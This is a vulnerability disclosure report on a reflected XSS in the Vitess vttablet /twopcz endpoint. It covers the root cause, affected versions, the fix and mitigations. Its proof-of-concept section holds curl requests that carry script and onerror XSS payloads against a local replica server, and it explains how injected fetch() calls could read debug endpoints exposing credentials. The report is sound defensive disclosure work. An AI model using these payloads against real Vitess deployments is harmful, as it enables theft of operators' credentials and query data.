CVE-2026-104252: Vitess vttablet /twopcz reflected XSS

From: xylove21 To: [email protected] Subject: [Security Report] Vitess vttablet /twopcz reflected XSS Date: Tue, 24 Jun 2026 14:30:00 +0800 ## Summary The `twopczHandler` in `go/vt/vttablet/tabletserver/twopcz.go` (line 185) reflects the `Action` and `dtid` form values directly into the HTML response body via `fmt.Fprintln(w, msg)` — **without HTML escaping**. The response is served as `text/html; charset=utf-8`, and Vitess's default `acl` policy is **allow-all**, so the endpoint is reachable by anyone who can hit the vttablet's HTTP port (default `15999`, multiplexed with gRPC and MySQL wire-protocol ports). A crafted `Action` or `dtid` value yields a **reflected XSS** that executes in the operator's browser with same-origin access to the vttablet's debug endpoints. This includes `/queryz` (live query plans), `/querylogz` (recent queries with bound values), `/txlogz` (transactions), `/debug/env` (environment variables — may include MySQL/topology credentials), `/debug/vars` (expvar stats), and `/debug/pprof/*` if enabled. The bug was introduced before v20.0.0 (long-standing) and was silently fixed in commit `3140c1846c` (merged 2026-06-09, PR #20255, "tabletserver: escape reflected form values in twopcz handler"). The fix replaces `fmt.Fprintln(w, msg)` with `fmt.Fprintln(w, html.EscapeString(msg))`. **No released version of Vitess contains the fix** — the fix lives only on `main` (current tip `33a3c0fafe69`, 2026-06-23). There is **no CVE, GHSA, or OSV entry** for this specific bug (verified 2026-06-24 against GitHub Advisory Database, OSV.dev, and NVD). ## Impact | Field | Value | |-------|-------| | **Type** | Reflected Cross-Site Scripting (XSS) | | **CVSS 3.1** | `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` = **7.7 HIGH** | | **Attack Vector** | Network (vttablet HTTP port 15999, multiplexed with gRPC/MySQL) | | **Attack Complexity** | Low (craft URL, send to operator) | | **Privileges Required** | None (default `acl` policy is allow-all) | | **User Interaction** | Required (operator must visit crafted URL) | | **Scope** | Changed (XSS chain reaction to other vttablet debug endpoints) | | **Confidentiality** | High (query text, env vars, expvar stats) | | **Integrity** | None (XSS itself doesn't change state) | | **Availability** | None (XSS itself doesn't disrupt service) | ### Affected versions (verified) All released versions are vulnerable. The fix lives only on `main`: | Tag | Released | `twopcz.go` line 185 | Status | |---|---|---|---| | v20.0.0 | 2024-06-27 | `fmt.Fprintln(w, msg)` | **BUGGY** | | v20.0.1 - v20.0.6 | 2024 | `fmt.Fprintln(w, msg)` | **BUGGY** | | v22.0.4 | 2026-02-27 | `fmt.Fprintln(w, msg)` | **BUGGY** | | v23.0.3, v23.0.4 | 2026-02 / 2026-05 | `fmt.Fprintln(w, msg)` | **BUGGY** | | v24.0.0, v24.0.1 | 2026-04 / 2026-05 | `fmt.Fprintln(w, msg)` | **BUGGY** | | **main** (`33a3c0fafe69`) | 2026-06-23 | `fmt.Fprintln(w, html.EscapeString(msg))` | **FIXED** | ### Sensitive data exposed via the same-origin XSS chain A successful XSS lands in the vttablet's origin. From there, the attacker can fetch (via `fetch()` from injected JavaScript) the following same-origin endpoints, all of which are unauthenticated by default: - `/twopcz` — in-flight 2PC transactions (query text, parameters, dtid) - `/queryz` — live query plans - `/querylogz` — recent queries with bound values - `/txlogz` — transactions - `/debug/env` — environment variables (may include MySQL creds, topology credentials, encryption keys) - `/debug/vars` — expvar stats - `/debug/pprof/*` — CPU/memory profiles (if enabled) ## Reproduction (independent, runnable PoC) The PoC is a self-contained Go HTTP server that replicates the buggy `twopczHandler` from Vitess v20.0.0 verbatim (using the same line-185 code). It runs on `127.0.0.1:15080` and returns the same response shape as the real Vitess endpoint. ```bash # 1) Build the PoC (Go 1.23+) cd /path/to/finding/CVE-pending-twopcz-xss go build -o /tmp/vitess-twopcz-poc ./poc.go # 2) Start the buggy server ADDR=127.0.0.1:15080 /tmp/vitess-twopcz-poc & # 3) Reproduce — Test 1: bare GET (no params) curl -sS -i "http://127.0.0.1:15080/twopcz" # → Content-Type: text/html; charset=utf-8, status 200 # 4) Test 2: XSS via Action param (URL-encode the script tag) curl -sS -i "http://127.0.0.1:15080/twopcz?Action=%3Cscript%3Ealert(1)%3C%2Fscript%3E&dtid=zz" # → Response body contains literal "<script>alert(1)</script>(zz): completed." # → Browser executes the script as same-origin code # 5) Test 3: XSS via dtid param (attribute-context payload) curl -sS -i "http://127.0.0.1:15080/twopcz?Action=Demo&dtid=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" # → Response body contains literal "<img src=x onerror=alert(1)>" # → Browser fires the onerror handler as same-origin code # 6) Run the 3x automated runner (writes evidence/run-{1,2,3}.log) bash ./poc/run.sh ``` PoC result excerpt (from `evidence/run-1.log`): ``` --- Test 2: XSS via Action=<script>alert(1)</script> --- HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 ... <h2>WARNING: Actions on this page can jeopardize data integrity.</h2> <script>alert(1)</script>(zz): completed. PASS: payload reflected UNESCAPED (XSS exploitable in browser) ``` The PoC was run 3 times on the buggy server (all 3/3 PASS) and the same code is byte-identical to the v20.0.0 commit `8aeb274f6c8e` line 185. ## Root cause (technical detail) `go/vt/vttablet/tabletserver/twopcz.go` (v20.0.0 through v24.0.1): ```go // Line 185 fmt.Fprintln(w, msg) ``` `msg` is constructed earlier in the handler as: ```go msg := fmt.Sprintf("%s(%s): completed.", action, dtid) ``` with `action` and `dtid` coming from the form values `r.FormValue("Action")` and `r.FormValue("dtid")`. The form values are URL-decoded (so a `+` becomes a space, `%3C` becomes `<`) but never HTML-escaped. The handler explicitly sets `Content-Type: text/html; charset=utf-8` (via the `<!DOCTYPE html>` it writes first), so the browser executes any injected `<script>` or attribute-context payload. The fix in main (`fmt.Fprintln(w, html.EscapeString(msg))`) closes the hole by HTML-escaping both `action` and `dtid` before reflection. ## Suggested fix (already in main) ```go // Recommended minimal patch (already in main, needs backport to all release branches): import "html" func twopczHandler(w http.ResponseWriter, r *http.Request) { // ... existing logic ... msg := fmt.Sprintf("%s(%s): completed.", action, dtid) fmt.Fprintln(w, html.EscapeString(msg)) // ← was: fmt.Fprintln(w, msg) } ``` Backport the fix to v20.0.x, v22.0.x, v23.0.x, and v24.0.x as patch releases. The fix is one line and a one-line `import "html"` addition, so the backport risk is minimal. ## Workaround / mitigation (no patch available) If you cannot upgrade to a fixed release immediately: 1. **Restrict the vttablet HTTP port** (default 15999) to localhost only. vttablet can run with `--tablet-allow-stats=false` and `--tablet-grpc-port` configured separately from the HTTP port, or you can firewall the HTTP port at the network layer. The debug endpoints are not needed by production traffic. 2. **Set a non-default ACL policy**. Vitess supports an `acl` policy that defaults to allow-all. Setting it to a JSON file that denies unauthenticated access to debug endpoints (see `go/acl/acl.go::savePolicy`) would block the XSS, but the default policy is currently `""` (allow-all) and many users don't override it. 3. **Use a reverse proxy** (nginx, envoy) in front of the vttablet HTTP port with a strict allowlist of clients. ## Cross-references - The bug is **not** related to: - CVE-2024-53257 (`/debug/querylogz` HTML injection, fixed in v20.0.4 — different endpoint) - CVE-2026-27969 (backup MANIFEST path traversal) - CVE-2026-27965 / GHSA-8g8j-r87h-p36x (backup external decompressor RCE) - PR #20255 is the fix commit; PR #19486 (defense-in-depth) is a separate hardening change ## Contact - GitHub: @xylove21